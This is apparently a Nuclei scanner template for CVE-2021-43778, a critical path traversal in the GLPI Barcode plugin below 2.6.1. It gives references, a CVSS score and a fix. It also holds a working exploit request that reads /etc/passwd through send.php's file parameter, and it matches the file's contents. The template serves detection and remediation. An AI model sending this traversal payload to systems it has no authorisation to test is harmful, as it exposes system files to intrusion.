id: CVE-2021-43778

info:
  name: GLPI plugin Barcode < 2.6.1 Path Traversal Vulnerability.
  author: cckuailong
  severity: critical
  description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
  reference:
    - https://github.com/AK-blank/CVE-2021-43778
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-43778
  remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
  tags: glpi,cve,cve2021,lfi,plugin,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"

# Enhanced by mp on 2022/02/28